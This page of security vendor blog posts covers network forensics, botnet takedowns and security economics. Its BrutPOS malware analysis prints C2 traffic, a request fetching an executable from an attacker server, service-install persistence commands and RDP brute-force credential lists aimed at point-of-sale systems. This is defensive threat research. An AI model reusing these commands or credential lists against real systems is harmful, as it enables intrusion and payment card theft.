Blog

Information and insight on today's advanced threats from the leader in advanced threat prevention.

All Posts


Network Forensics: Use Cases In the Enterprise

Network forensics is an important component of a successful security operations program. It is an important capability that provides a data of record for the incident responder and plays an important role in the daily security operations workflow.  While the utility and importance of network forensics may be clear to the security professional, that value may be difficult to communicate to the business decision maker or executive. In this post, I’d like to discuss several business use cases for network forensics that may help communicate the value and business need for network forensics as an integral component of incident response.

Breach Response

When an organization discovers, or is notified of a breach, time becomes of the essence. The organization’s immediate focus becomes moving quickly from detection to containment. In order to make this move, the organization needs to answer a set of essential questions aimed at identifying the extent of the breach and the damage caused by it. This process is often called breach response and involves investigation, analysis, and forensics. Examples of some of the questions that will need to be answered are:

  • How long has this activity been going on (i.e., when did the intrusion begin)?
  • Is the activity still going on?
  • How many systems were affected?
  • What data was taken?
  • Was any sensitive, proprietary, or confidential information taken?

These and other relevant questions are designed to focus the organization on rapidly identifying the extent of the damage, both for containment purposes, but also to address potential public relations, legal, and privacy concerns. For example, consider the case where a law enforcement agency approaches a business (of any size) and informs them that they have been breached and have been observed communicating with a known drop site. The organization will have many questions, including, among many others, those listed above. An accurate, cohesive, lossless data of record is required to properly answer all of the necessary questions. Further, it’s not sufficient merely collect the data, but rather, it must be easy to precisely, incisively, and rapidly extract that data for analysis and forensics.

Hunting

On any network, there will be unusual or suspect activity from time to time. Sometimes, this unusual activity can be indicative of advanced threats and targeted activity. Many times, the threat actors are quite adept at keeping a low profile and executing actions on objectives subtly. For example, Advanced Persistent Threat (APT) actors may compromise an endpoint inside of an organization and slowly collect sensitive, proprietary, or confidential information to stage for subsequent exfiltration. While detecting this activity in an automated fashion would be ideal, this turns out to be very difficult in practice. As a result, if this activity is successfully detected within the organization (as opposed to via a third party), it is most often done so via hunting. Hunting is the activity through which skilled analysts use a variety of different analytical techniques to “slice and dice” the network traffic data in the “hunt” for this subtle malicious activity. The best analysts will want to issue targeted, precise, incisive queries designed to extract the proper forensics data rapidly, with minimal noise. This requires a network forensics capability that can rise to this challenge at enterprise network speeds and traffic volumes.

Metrics/Network Knowledge

Metrics provide important data points to the decision maker and executive. As a recent example, let us consider the many new Top Level Domains (TLDs) that have become available for use. Attackers have already leveraged some of these TLDs for malicious purposes, and this activity will undoubtedly continue to increase. This example begs the question: If a TLD serves no legitimate business purpose and can only expose the organization to risk, should it be blocked proactively? I believe the answer to this question is yes. But how can we ensure that a TLD serves no business purpose? This is where the metrics and network knowledge become so crucial.  Business decisions should be based on facts, and facts come from an accurate, precise data of record – the network forensics data. This is merely one example of the many business questions that can be answered with metrics driven by network forensics data. When business decision makers or executives need answers, it is best to be able to provide answers based on ground truth.

Intelligence

When leveraged properly, actionable intelligence can provide additional enrichment and maturity to a security operations program, as well as aid in the improved detection of intrusions. Leveraging intelligence properly involves many details, but one of the most important details is that a reliable data of record exists. After various Indicators of Compromise (IOCs) are received and vetted, they should be leveraged against a reliable data of record in order to maximize their value. There are two time-based aspects here – historical and ongoing. We can run IOCs against our historical data to check for evidence of intrusions present on the network from the past on through the current day. In addition to that, we should also monitor for evidence of intrusions on an ongoing basis and raise an event to the alert queue when we see that evidence. These are both productive activities, assuming that an accurate, cohesive, lossless data of record exists for us to run the IOCs against.  Further, it is not merely enough to collect the data – we need to be able to rapidly and surgically extract the data through targeted, precise, and incisive queries. For example, an organization may receive a daily feed of malicious command and control domain names from one or more of its intelligence sources. That data needs to be run against a corresponding data of record to find instances of command and control activity present on the organization’s network indicating that some systems are compromised. A scalable network forensics solution, one that can both record all of the network data at high speed as well as make that data and meta-data available for analysis, is required in order to properly leverage intelligence.

DNS/Passive DNS

Data from Domain Name System (DNS) queries and responses provide a wealth of insight into unusual or suspect activity that may be occurring on the network. For example, most users pointing their browsers at legitimate websites will request domain names that resolve to routable, public IP addresses. But what if a resource on the network repeatedly requests a domain name that resolves to private, non-routable IP address or one that has no resolution at all? Further, what if that domain name suddenly “comes alive” and begins resolving to a routable, public IP address and/or the resource begins exfiltrating data to that IP address? This is just one of many interesting applications of DNS query and response data. As interesting and crucial as this data is, many organizations struggle to maintain adequate visibility across their DNS infrastructure. There are many reasons why this is the case, but there is a solution. A network forensics platform collects layer 7 enriched meta-data for many application protocols, DNS among them. This provides an organization with a de facto DNS monitoring and passive DNS data collection system, without requiring the organization to invest in additional technology or hardware. It’s one of my favorite use cases for network forensics and likely one that will resonate with many readers. For smaller organizations, there is also the additional benefit of using using one network forensics technology for multiple purposes.

Intelligent Alerting

As the old saying goes, ask a stupid question, get a stupid answer. The modern attacker is intelligent and sophisticated. We would be naïve to think that we could identify a sly attacker’s subtle activity with dull, generic queries. If we want to find the intelligent attacker, we need to ask intelligent questions. Asking intelligent questions requires two fundamental components. The first required component is that the data be collected and its associated meta-data extracted and indexed for rapid search. The second required component is a robust query language that allows the analyst to ask incisive, targeted, precise, intelligent questions of the data. It’s likely not a surprise that a mature, scalable, powerful network forensics solution provides both of these required components. For example, say I am a mid-sized organization concerned by potential theft of intellectual property from my executives. With the right solution in place, I can precisely craft my alert logic so as to focus in on the specific employees, systems, data, and threats I am concerned with. In the absence of that capability, many organizations struggle to issue queries powerful enough to identify suspicious and malicious activity designed to behave subtly and fly under the radar.

There are many use cases for network forensics, but I’ve tried to list those that may help to reinforce the strong business need for network forensics. When the need arises to perform breach response or any of the other use cases listed above, the organization that has implemented a robust, scalable network forensics solution will fare better than the organization that has not. With the stakes so high these days, it would be a shame not to be prepared.

BrutPOS From a Security Practioner’s Perspective

Today, FireEye Labs posted a technical blog on the malware for a botnet that we call BrutPOS. With a lot of attention focused on data breaches in retail, BrutPOS gives us a chance to look retrospectively on the state of retail security.

The popular phrase “a chain is only as strong as its weakest link” has great relevance in the information security world.  There are a large number of ways to compromise a business network, yet attackers are quite successful in this endeavor using fairly pedestrian methods of attack.  This raises the important question: Why is this the case?  Part of the answer lies in the fact that attackers don’t feel a great need to use particularly sophisticated attack methods.  In other words, if attackers can succeed using fairly elementary attack methods, why should they work any harder?  Let’s examine this principle through the example of the BrutPOS malware.

Most businesses use Microsoft’s Remote Desktop Protocol (RDP) as an integral part of their day-to-day business operations.  RDP allows for remote login to Windows systems.  This has many legitimate uses, such as an administrator logging on to a system remotely to update a software package.  Like any legitimate service, attackers are also quite happy to leverage RDP for their own nefarious purposes.  An example of this is the BrutPOS malware, the analysis of which was detailed in a FireEye blog post today. At a high level, the purpose of the BrutPOS malware is to compromise Point of Sale (POS) terminals through the use of the remote desktop protocol (RDP).  The malware aims to steal payment card information from those compromised POS terminals.  There is no need for the attackers to write a sophisticated protocol for their malware to log on to systems remotely – the RDP works quite nicely.

There are many approaches an organization can take to better manage the risk presented in the BrutPOS malware. One of those approaches is to go back to basics and remember some important foundational tenets of information security.  This approach involves ensuring that authentication and authorization policies are sensible and enforced across the organization.  For example, some simple steps an organization can take to improve its defenses against threats such as BrutPOS include (but are not limited to):

  • Not allowing administrative access to systems, with the exception of special administrative accounts for administrators
  • Locking out accounts after N number of incorrect login attempts
  • Not allowing RDP login by default on systems, but rather, granting it on an as needed basis
  • Limiting or eliminating the use of shared or group accounts
  • Monitoring authentication logs for repetitive failed login attempts to one system or multiple systems

As organizations look to continually improve their information security postures, it’s important to remember that foundational tenets are as valid as ever.  We do need to ensure that we have a variety of defensive measures in our arsenal, but it’s important to remember that not all of them need be cutting edge.  Sometimes, foundational best practices can provide us with straightforward approaches to mitigating risk posed by modern threats.

BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems

There have been an increasing number of headlines about breaches at retailers in which attackers have made off with credit card data after compromising point-of-sale (POS) terminals. However, what is not commonly discussed is the fact that one third of these breaches are a result of weak default passwords in the remote administration software that is typically installed on these systems. [1] While advanced exploits generate a lot of interest, sometimes it’s defending the simple attacks that can keep your company from the headlines.

In this report, we document a botnet that we call BrutPOS which uses thousands of compromised computers to scan specified IP address ranges for RDP servers that have weak or default passwords in an effort to locate vulnerable POS systems. [2]

BrutPOS

It is unclear exactly how the BrutPOS malware is being propagated. We have found that the malware is being distributed (along with a considerable amount of otherwise unrelated malware) by the site destre45[.]com. The attackers may have used a distribution service provided by other cybercriminals.

When executed, the malware copies itself to:

"%USERPROFILE%\%APPDATA%\llasc.exe"

It modifies the Windows Registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Run_) so that it will be restarted after a reboot.

The malware connects to the command and control server (C2) to report its status and receives a list of usernames/passwords and IP addresses to begin scanning.

POST /brut.loc/www/cmd.php HTTP/1.1
Content-type: multipart/form-data, boundary=XyEgoZ17
Cache-Control: no-cache
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 92.63.99.157
Content-Length: 212

–XyEgoZ17
content-disposition: form-data; name=”data”

{ “bad” : 0, “bruting” : false, “checked” : 1, “done” : true, “errors” : 0, “good” : 0, “goodslist” : “”, “pps” : 0.0, “threads” : 5, “v” : “0.0.0″ }

HTTP/1.1 200 OK
Date: Fri, 20 Jun 2014 13:22:53 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=o68hcjj8lhkbprfbdkbj50lrr0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2056
Connection: close
Content-Type: text/html; charset=UTF-8

{“passwords”:”backupexec\r\nbackup\r\npassword\r\nPassword1\r\nPassw0rd\r\nPa$$w0rd1\r\nPass@word\r\nPassword\r\nclient\r\nP@ssw0rd\r\np@$$w0rd\r\npassw0rd\r\np@ssw0rd\r\npa$$w0rd”,”logins”:”backupexec\r\nbackup\r\ndatacard”,”servers”:”[IP ADDRESSES REDACTED]“,”botstart”:”1″,”stamp”:1308301912,”newthreads”:5,”interval”:50}

The infected system begins to make connections to port 3389; if the port is open it adds the IP to a list of servers to be brute forced with the supplied credentials. If the infected system is able to successfully brute force an RDP server, it reports back with credentials.

In total we found five C2 servers used by the BrutPOS botnet. Three of these servers are located on the same network in Russia; one of them is located in Iran. Only two of these servers remain active at this time.

C2 Country Network Status
62.109.16.195 Russia THEFIRST-NET Active
92.63.99.157 Russia THEFIRST-NET Active
78.154.54.42 Iran BSG Inactive
82.146.34.22 Russia THEFIRST-NET Inactive
62.113.208.37 Germany DE-23MEDIA Inactive

Based on the compile times of the samples we analyzed that connect to this C2 infrastructure, this botnet was active as of February 2014.

However, one of the active C2 servers was setup on May 28 and we believe that the second was setup in early June. We were able to recover information from these two C2 servers in mid-June that allowed us to gain a better understanding of this botnet.

The attackers are able to control the botnet from a web-based administration panel. This panel provides a statistical overview of the botnet.

brutpos1

The botnet had a total of 5622 compromised computers under its control, however, only a fraction of those systems are active at any given time (179 were active when we last checked). This page also displays the “current version” of the malware and if an infected system checking in reports an earlier version a new executable will be pushed down to it.

brutpos2

The attackers are able to view the details of the infected systems under their control including the IP address and geographic location as well as status of the infected systems’ brute forcing activities (bad / good / errors / threads / version) and the timestamp of the last connection to the C2. The attackers may also specify commands such as “reload” and “delete”.

Based on the IP addresses on this page, there are 5622 infected systems spread across 119 countries.

Country

Count

Percentage

Russia

881

15.67%

India

756

13.45%

Vietnam

422

7.51%

Iran

341

6.07%

Taiwan

232

4.13%

Ukraine

151

2.69%

Turkey

139

2.47%

Serbia

115

2.05%

Egypt

110

1.96%

Mexico

106

1.89%

brutpos3

This page lists the ranges of IP addresses that the attackers can specify to be scanned for RDP access and brute forced.

brutpos4

In total, the attackers specified 57 IP address ranges the majority of which (32) are located in the U.S.

brutpos5

The attackers can specify the user names and passwords that the infected systems use to brute force available RDP servers. Some of the usernames and password indicate that the attackers are looking for specific brands of POS systems (such as Micros). [3]

Usernames Passwords
admin
administrator
backup
backupexec
data
datacard
manager
micros
microssvc
pos
Admin
admin
Administrat0r
Administrator
administrator
backup
backupexec
client
client1
datacard
@dm1n
@dmin
micros
p0s
Passw0rd
Passw0rd1
Password
Pass@word
password
Password1
Pa$$w0rd1
Pa$$word
pa$$word
pos
P@ssw0rd
p@ssword
p@ssword1
p@$$w0rd

brutpos6

When an infected system reports back a successful RDP login, the attackers store the username/password and IP address of the RDP server as well as the IP address of the infected system that successfully brute forced it.

brutpos7

Of the 60 “good” RDP servers listed by the attackers the majority (51) are located in the U.S. The most common username was “administrator” (36) and the most common passwords were “pos” (12) and “Password1” (12).

Payment Card Theft

During our investigation, we discovered another executable that is potentially run on systems once credentials are obtained (e.g. 4aed6a5897e9030f09f13f3c51668e92). This variant is intended to extract payment card information stored within running processes. It has two distinct code paths depending on its ability to get debug permissions by calling RtlAdjustPrivilage(0×14,1,0…). This may be an attempt to identify a POS configuration. If it succeeds in getting debug permissions, it downloads the executable and executes it:


GET /brut.loc/www/bin/1.exe HTTP/1.1
Accept-Encoding: gzip
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 82.146.34.22

If the malware fails to get debug permissions, it copies itself to %WINDIR%\lsass.exe and installs itself as a service. The following script is used to create and start the service:

sc create winserv binpath= C:\WINDOWS\lsass.exe type= own start= auto
sc start winserv
del 1.bat

When running as a service, the program scans the memory of all processes with the exception of csrss.exe and conhost.exe for potential payment card information. Candidates are verified using the Luhn checksum and saved to winsrv.sys. It uploads ‘winsrv.sys’ using FTP to the server 62.109.16.195.

Before connecting to the FTP server, the implant connects to smtp[.]gmail[.]com on port 25 and obtains the victim’s external IP address from the EHLO response. winsrv.sys is uploaded to the FTP serving using a filename consisting of a capital character followed by the IP address. The capital character prefixed to the filename is initialized to ‘A’ and is incremented through ‘Z’ for each new file. If the IP address isn’t obtained from smtp[.]gmail[.]com, a random four digit number is generated.

Attribution

While there is insufficient information to determine attribution, there is some information which indicates that the attackers are in Eastern Europe, probably Russia or Ukraine. In addition to the Russian language interface, we recovered web server logs and parsed out the six IP addresses that used the administration interface.

Two of the IP addresses were from PEOPLE-NET, an ISP in Ukraine. In both cases the “User-Agent” indicates that the requests were coming from an Alcatel mobile phone running Android:

"Mozilla/5.0 (Linux; Android 4.1.1; ALCATEL ONE TOUCH 5020D Build/JRO03C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.69721"

Another Ukraine IP address, from the UKRTELNET-ADSL ISP, was also used. However, the “User-Agent” in this case was FireFox:

"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"

There were also connections from an IP range in Russia assigned to the network “Macroregional_South” in Volvograd.

In addition to these connections there were also connections from the U.K. and France, however, these connections were made using VPN services provided by atomintersoft.com and vpnlux.net.

Honeypot

In order to understand the attacker’s intentions, we decided to setup a Windows 2008 R2 Server with POS software and allow the attackers to compromise it. In addition to POS software, we also put documents with fake credit card information on the Desktop. By mimicking the traffic generated by the infected systems under the attackers control, we were able send a username and password combination of “micros” and “admin” to the C2. We then waited for the attackers to connect.

We saw the attackers connect to the RDP instance 27 minutes after the fake username and password combination were sent to the C2. The attackers connected from three IP addresses. One of the IP addresses was in the same Ukrainian IP address range assigned to PEOPLE-NET that we saw in the C2 logs. Another was the same VPN based in the UK, while the third was assigned to INETHN in Honduras.

After connecting, the attackers immediately opened the document containing fake credit card information, then exited the system shortly after. The second access attempt occurred 4 minutes later, with little activity. The third access occurred 18 minutes later. The attackers, on the third access, then attempted to open the POS software; which was unsuccessful. The fourth access happened two minutes later, with very little activity. The fifth and final access happened approximately 4 hours later, which led the attackers to format the drive, thus attempting to wipe data trails.

Conclusion

POS systems remain a high priority target for cybercriminals. Based on a simple scanning attack, the attackers in this case were able leverage their botnet of over 5000 machines in order to acquire access to 60 systems in two weeks.

While new malware and more advanced attacks are taking place, standard attacks against weak passwords for remote administration tools presents a significant threat.

Notes

1. http://www2.trustwave.com/rs/trustwave/images/2014_Trustwave_Global_Security_Report.pdf

2. The BrutPOS malware was initially identified in March 2014 but the full scope of the botnet was still unknown at that time. http://www.alienvault.com/open-threat-exchange/blog/botnet-bruteforcing-point-of-sale-via-remote-desktop and http://deepflash.blogspot.ca/2014/02/rdp-bruterforcer-in-wild.html

3. Micros sells POS systems for the retail and hospitality industries http://www.micros.com/.

Acknowledgements

We would like to thank Josh Gomez for his help and support.

Samples

4c3d65c1d8e1d7a2815c0031be41efc7: BrutePOS_Brute
7391ff6f34f79df0ec7571f7afbf8f7a: BrutePOS_Brute
280d920531ba67d8fd81350877914985: BrutePOS_Brute
96487eb38687e84405f045f7ad8a115c: BrutePOS_Brute
c1fab4a0b7f4404baf8eab4d58b1f821: BrutePOS_Brute
6bcff459fbca8a64f1fd74be433e2450: BrutePOS_Brute
daae858fe34dcf263ef6230d887b111d: BrutePOS_Brute
31bd8dd48ac0de3d4da340bf29f4d280: BrutePOS_Brute
0f2266f63c06c0fee3ff999936c7c10a: BrutePOS_Brute
4d4fd96fabb1c525eaeeae8f2652ffa6: BrutePOS_Brute
da6d727ddf096b6654406487bf22d26c: BrutePOS_Brute
fd58144a4cd354bfd09719ac2ccd3511: BrutePOS_Brute
e38e42f20e027389a86d6a5816a6d8f8: BrutePOS_Brute
08863d484b1ebe6359144c9a8d8027c0: BrutePOS_Brute
4ab3a6394a3a1860a6c52cf92d7f7560: BrutePOS_Brute
0e58848506a525c755cb0dad397c1c44: BrutePOS_Brute
60c16d8596063f6ee0eae579f201ae04: BrutePOS_Brute
b2d4fb4977630e68107ee87299a714e6: BrutePOS_Brute
68ba1afd4585b9355cf7009f4604a208: BrutePOS_Brute
9d3d769d3feea92fd4794fc3c59e32df: BrutePOS_Brute
b63581fcf0ff86bb771c3c33205c78ca: BrutePOS_Brute
18eba6f28ab6c088d9fc22b4cc154a77: BrutePOS_Brute
4802539350908fd447a5c3ae3e966be0: BrutePOS_Brute
cbbb68f6d8eda1071078a02fd79ed3ec: BrutePOS_Brute
8ba3c7ccd0a61d5c9a8b94a71ce06328: BrutePOS_Brute
9b8de98badede7f837a34e318b12d842: BrutePOS_Brute
78f4a157db42321e8f61294bb39d7a74: BrutePOS_FTP_Exfil
f36889f30b62a7524bafc766ed78b329: BrutePOS_FTP_Exfil
95b13cd79621931288bd8a8614c8483f: BrutePOS_FTP_Exfil
4aed6a5897e9030f09f13f3c51668e92: BrutePOS_FTP_Exfil
06d8d8e18b91f301ac3fe6fa45ab7b53: BrutePOS_FTP_Exfil
faddbf92ab35e7c3194af4e7a689897c: BrutePOS_FTP_Exfil

Operation Tovar: The Latest Attempt to Eliminate Key Botnets

Coordinated botnet disruptions have increased in pace and popularity over the last few years as more private companies work with international law enforcement agencies to combat malware infections on a grand scale. Operation Tovar, announced on June 2 2014, is the latest to make headlines. The target of the investigation, Evgeniy Mikhailovich Bogachev, was indicted by the Department of Justice and is wanted by the FBI for his role as alleged leader of the Gameover ZeuS and CryptoLocker botnets. Four other defendants were indicted using their pseudonyms. Though Bogachev’s current activities aren’t known, the Operation Tovar task force has maintained control of the botnet infrastructure and remediation efforts are ongoing.

While new malware strains are released with increasing frequency, it’s easy to forget why Gameover and CryptoLocker are worthwhile targets for takedown operations. Both offered more advanced features than their peers and typified the increasingly sophisticated cybercriminal enterprises behind botnets.

Gameover ZeuS

Since the ZeuS source code was released in 2011, several new variants have appeared in the wild. Citadel, KINS, ICE IX, and Gameover have all improved upon the basic ZeuS model by introducing new features, using better encryption, and modifying command and control (C2) communication methods.

Gameover uses a peer-to-peer (P2P) system for C2 communication. Though other P2P botnets such as Kelihos exist, Gameover is notable for its use of proxy nodes to introduce complexity into the standard P2P infrastructure. These proxy nodes are specific machines designated as relay points through which the botnet operators send commands and receive stolen information. This minimizes the number of systems that actually communicate with C2 servers. C2 commands are signed using RSA-2048 and encrypted with RC4 making it very difficult to tamper with the botnet.

Additionally, Gameover maintains a failsafe mechanism: a domain generation algorithm (DGA) that produces 1,000 domains each week. This feature enables the operators to maintain control of their botnet even if the P2P infrastructure is compromised. The DGA produces long, nonsensical strings at one of six top-level domains: .com, .net, .org, .biz, .info, and .ru that can be registered and used to send commands to the botnet.

ZeuS and all its variants are information-stealing trojans. We refer to them as banking trojans because that’s where they excel and Gameover is no exception. Gameover is able to trick the user into handing over personal information and can even defeat two-factor authentication. It accomplishes this by injecting custom code into the browser when a victim visits certain websites. Gameover’s arsenal of bank account takeover tools includes 1,500 web injections that were custom-made to target the websites of more than 700 financial institutions worldwide.

In addition to its exceptional abilities as a banking trojan, Gameover is capable of a wider variety of data theft activities. An Operation Tovar task force member, speaking to Brian Krebs on the condition of anonymity, said they have evidence of additional harvested data and that Gameover targeted proprietary information.

CryptoLocker

Not content with merely engaging in widespread banking credential and information theft, the Gameover criminal operators decided to maximize returns by infecting systems with CryptoLocker. It is a type of ransomware that encrypts the files on infected machines and then demands a ransom of hundreds of dollars in order to receive a decryption key. Typically, victims were given 72 hours to pay the ransom in bitcoins or risk losing their data.

Unwilling to miss out on any opportunity to generate revenue, the criminal operators set up a website to assist victims in paying the ransom in bitcoins. Through this website, victims could complete the transaction and track the status of their “order” – the ransom payment in exchange for the decryption key. Some victims, unwilling or unable to pay the ransom, missed the 72-hour deadline only to see the ransom demand increase fivefold.

Law enforcement officials discouraged people from paying the ransom since it would fund a criminal organization, but without back ups many victims had little choice but to pay. A US police department paid $750 for two Bitcoins as ransom after CryptoLocker was installed on a system used for police reports and booking photos. CryptoLocker encrypts files using asymmetric encryption, making use of a public and a private key. Without the private key, located on the criminals’ servers, infected files probably cannot be decrypted.

The Target

Operation Tovar’s investigation began with a server in the UK. A trail of wire transfers, money mules, criminal servers, and at least one confidential source led investigators to Bogachev. He is a Russian citizen wanted on charges of conspiracy to participate in racketeering activity, bank fraud, conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to violate the Identity Theft and Assumption Deterrence Act, aggravated identity theft, conspiracy, computer fraud, wire fraud, and money laundering. The FBI estimates the financial toll of Gameover at over $100 million and another estimate is that more than $27 million in ransom payments were made in the first two months of CryptoLocker’s distribution.

Obtaining an indictment against a Russian national who will likely never be extradited to the United States isn’t sufficient to put an end to a criminal organization. In 2011, Russian citizen Aleksandr Andreevich Panin was indicted in the US on 23 counts related to the development and distribution of SpyEye but was not arrested until 2013 when he flew through Hartsfield-Jackson Atlanta International Airport. The Russian government, in a travel warning to its citizens, specifically mentions Panin and recommends that Russians facing legal action in the US should refrain from travelling internationally.

The Takeover

Drawing on the technical expertise of its members, the Operation Tovar task force was able to exploit flaws in the design of Gameover’s P2P network to manipulate the peer list and redirect traffic to nodes under its control. The specific technical details have not been released to the public in order to prevent the criminals from regaining control.

Gameover’s failsafe mechanism, the DGA that was supposed to have allowed the criminals to maintain control in the event of a P2P disruption, was reverse engineered by task force members. The FBI then obtained a restraining order to redirect any attempts to register those domains to a government-run server. Furthermore, US service providers are required to block connections to the Russian .ru domains generated by the DGA since the US has no jurisdiction to prevent their registration.

CryptoLocker also used a DGA for determining C2 locations. The algorithm was reverse engineered and the C2 servers were identified and seized by the Operation Tovar task force. Due to the use of an asymmetric key algorithm, CryptoLocker victims whose files remain encrypted currently have no avenue of remediation.

Operation Tovar’s success can be measured by two factors: (1) Have the criminals regained control of their botnets and (2) Is the malware being removed from infected machines? While we can’t say for certain that the people responsible for Gameover and CryptoLocker have ceased all criminal activity, they have not regained control of the network disrupted by Operation Tovar. Based on this fact alone, the task force should be commended. Successful botnet disruptions are very challenging. Attempted takeovers over Kelihos have been undone after only two weeks.

The remediation of infected machines is an even more difficult task. US-CERT has published a list of recommended actions and resources, and a number of the private companies involved in Operation Tovar have released scanning tools. The onus remains on individuals and organizations to use these resources to determine if they are infected and take the appropriate steps to remediate the problem. Statistics published by The Shadowserver Foundation show the number of machines infected with Gameover has remained essentially flat since the takeover. There are simply not enough people taking advantage of the resources available to remediate their systems.

tovar1

The task force has taken control of the C2 network and now some people may believe that the malware is neutered and no further action is required. It is important to remember that any malware is unauthorized code running on a computer. The integrity of the system is still compromised, regardless of who is in control of the botnet.

Announcing the FLARE Team and The FLARE On Challenge

I would like to announce the formation of the FireEye Labs Advanced Reverse Engineering (FLARE) team. As part of FireEye Labs, the focus of this team is to support all of FireEye and Mandiant from a reverse engineering standpoint. Many FireEye groups have reversing engineering needs: Global Services discovers malware during incident response, Managed Defense constantly discovers threats on monitored client networks, and Products benefit from in-depth reversing to help improve detection capabilities.

We primarily focus on malware analysis, but we also perform red-teaming of software and organizations, and we develop tools to assist reverse engineering. Our research and tools assist with automatic malware triage to quickly get initial results out to incident responders in the field. Auto-unpackers unravel obfuscated samples without the need for an analyst. Automatic clustering and classifying samples helps identify if a binary is good or bad and whether we have analyzed it before. We develop reverse engineering scripts for IDA Pro and systems that help us quickly share our analysis results. We also write scripts that can help incident responders decrypt and interpret malware network traffic and host artifacts.

This elite technical enclave of reversers, malware analysts, researchers, and teachers, will team up with our FireEye Labs peers to help bring the best detection to our customers and promote knowledge sharing with the security research community. We’ll continue to provide technical training on malware analysis privately and at conferences like Black Hat. Look for us to present webinars on malware analysis and a blog series of scripts for IDA Pro to aid reverse engineering of malware.

The Challenge

To commemorate our launch, the FLARE team is hosting a challenge for all reverse engineers and malware analysts. We invite you to compete and test your skills. The challenge runs the gamut of skills we believe are necessary to succeed on the FLARE team. We invite everyone who is interested to solve the challenge and get their just reward!

The puzzles were developed by Richard Wartell, a reverse engineer with a PhD in “IDA Pro” (actually Computer Science, but his thesis used IDA Pro) from the University of Texas at Dallas where he worked on binary rewriting techniques for the x86 instruction set. He recently presented this work at the REcon conference in Montreal. At Mandiant Richard focused on incident response, but now on the FLARE team he reverse engineers malware, teaches malware classes, and helps develop our auto-unpacking technology.

As reverse engineers we’ve seen a variety of anti-reverse engineering techniques. Oftentimes the armoring malware authors employ is sophisticated and requires time to unravel. Sometimes it is misguided and easily circumvented.

Writing these binary puzzles has given us a chance to recreate some of the sophisticated (and sometimes ridiculous) techniques we see. The seven puzzles start with basic skills and escalate quickly to more difficult reversing tasks. At FLARE we have to deal with whatever challenges come our way, so the challenge reflects this. If you take on the challenge you might see malicious PDFs, .NET binaries, obfuscated PHP, Javascript, x86, x64, PE, ELF, Mach-O, and so on.

And after completing the final challenge, you’ll win a prize and be contacted by a FLARE team member. The full details can be found at: www.flare-on.com.

So on behalf of the FLARE team, I say Happy Reversing!

Economics of Security Part II: Qualifying the Economic Return From Cybersecurity Solutions

In part one of this series, my colleague, Bryce Boland, CTO, APAC touched on aligning a security program with the value-areas of a business. To be successful in this endeavor, you must calculate the return on investment (ROI) that a robust security program will offer. In part two, I will offer recommendations to achieving this.

The economics of security is an interesting challenge. I polled some contacts and discovered that, as much as we focus on reducing the capex on software and hardware, the majority of costs are actually opex. Therefore if we want to drive efficiencies in security, we should look at the usability (i.e. the time and costs required to achieve the desired outcome) of the tools as much as what they actually do.

Cybersecurity is a multi-dimensional problem, so whilst we consider efficiencies we must look at them in the context of outcomes and value. Our value question in cybersecurity has two factors: (1) are we able to leverage the most efficient path to obtain the solution and (2) being able prioritize on events/incidents that have the greatest business impact.

Simple event/incident response process

The rudimentary processes behind cyber have been around for years and are well documented in various standards. There’s a catalyst event that drives us to understand the problem, so we can qualify and prioritize if and when we need to respond – i.e. solve the problem.

Screen Shot 2014-07-02 at 10.41.08 PM

Are we increasing or decreasing efficiencies?

In recent years many have suggested the logic that “big data” can help us make smart decisions. Yet there is danger that this can create a spiral effect that has the potential to cripple us. By adding more content, we increase the cycles required to understand, qualify and respond. There is also a key question around the quality of that data. Take for example all the events we aggregate into a SIEM tool today, how many of those are truly worth taking action on?

How do we measure success and value?

If we are to evaluate the economic value cyber security solutions bring we need to look less at what they do and instead more how they do it. We need to understand the quality of the information they provide, both in terms of business impact and conversion to action, as well as the operational cycles required to achieve this; which are the cost & time multipliers.

As our technology world complexity continues, the operational aspect as a multiplier can only increase. Today I hear more companies asking for partnerships to solve problems rather than products; they see the time and skills challenge in solving the problem as prohibitive. If we are to succeed today, we need outcome focused solutions; that is they are efficient in providing actionable responses that are business oriented in their focus and/or services that reduce the operation costs associated with time to action. So how do we evaluate this in our buying criteria?

There have been many ROI tools that try to qualify the potential value that come from security investments. However if we are to align to business goals, we must drill into the process behind event correlation/validation – the heart of security – for business impact assessment and response actions.

Qualifying economic value from event/incident management

The framework below aims to give you a reference point to start to map out the economics of your security program.

Given solving this problem is entirely dependent on each individual organization; we must be able to qualify what makes our businesses profitable and how technology enables this. The model does not include metrics in each part of the incident lifecycle but does highlight some of the common key success metrics.

To make economic judgments, you need to assess the following:

  1. What is the ratio between events received and action taken?
  2. What is the efficacy level in the events & incidents you identify (i.e. the real cyber attack event to false positive ratio)?
  3. How many cycles do you iterate through to get from an event(s) to an action; is it timely and cost efficient? (Can you rank the processes/tools you leverage today in terms of man-hours and skills required to get to to action?)
  4. Do you align, prioritize and qualify events against against business goals and impact (How many cycles does this take)?
  5. Make the assessment using the framework & success criteria below to evaluate the key time and cost multipliers in your event/incident security process, so you can validate the economic value that comes from the processes and tools you leverage today, to see which are effective and which are not?
Measures of effectiveness of event/incident management

Measures of effectiveness of event/incident management

In conducting the evaluation process above (and visually outlined above), there is a defined process for tying operational expenditures with investments for securing the processes that generate business value. By analyzing the actions taken to conduct security operations and the, ideally, efficiencies in doing so, security leaders will be able to provide a full picture of their impact on the business. Ultimately, this changes the security conversations from just security to business practices overall.

Economics of Security Part I: Translating Information Security Risks to Business Risk

In this two-part series, my colleague, Greg Day, VP & CTO EMEA and I will focus on making the business case for security solutions that will protect your organization.

One of the many challenges IT Security professionals face is translating the security risks of technologies into the business risks they pose to the company. This translation is critical to building buy-in from your business to fund security initiatives and ensure your projects are funded properly relative to the myriad other things your business is pursuing with its money.

